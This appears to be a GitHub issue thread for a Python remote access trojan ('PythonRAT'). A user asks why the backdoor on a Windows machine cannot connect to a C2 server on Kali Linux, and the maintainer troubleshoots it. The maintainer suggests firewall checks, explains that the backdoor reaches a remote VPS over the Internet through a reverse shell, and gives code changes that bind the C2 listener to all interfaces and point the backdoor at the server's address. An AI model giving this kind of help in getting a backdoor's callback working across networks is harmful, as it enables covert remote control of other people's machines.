does not connect to machine

[ethicalhacker7192]

the backdoor does not properly connect to the client machine via ip address how to fix

[ethicalhacker7192]

the error message is ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it. (on the client machine)

[safesploit]

the error message is ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it. (on the client machine)

Can I presume the OS you are running the C2 server (c2.py) on is Windows?

[ethicalhacker7192]

the c2.py is run on kali linux

[safesploit]

the c2.py is run on kali linux

Is the backdoor (backdoor.py) run in a Windows environment?

[ethicalhacker7192]

yes

[safesploit]

yes

Could be a firewall issue. If you're using Windows Firewall is it blocking outbound ports?

Also, because you are running in different environments did you change the IP address in c2.py and backdoor.py?
As I used 127.0.0.1 (localhost) on port 5555.

[ethicalhacker7192]

I had to change ip address from local host to inet on the backdoor.py since I have to connect from a distance and when I turn off the firewall the message still pops up

[safesploit]

The C2 server in the image is hosted on a VPS (running Ubuntu connected via SSH), and the backdoor (running on macOS) connects from another network over the Internet via a reverse shell.

PythonRAT/c2.py

Line 182 in 3db3591

sock.bind(('127.0.0.1', 5555))

The line above can be rewritten as sock.bind(('0.0.0.0', 5555)) in c2.py to bind to all IPv4 interfaces.

Likewise, backdoor.py must use the IPv4 address of your C2 server.

PythonRAT/backdoor/backdoor.py

Line 173 in 3db3591

s.connect(('127.0.0.1', 5555))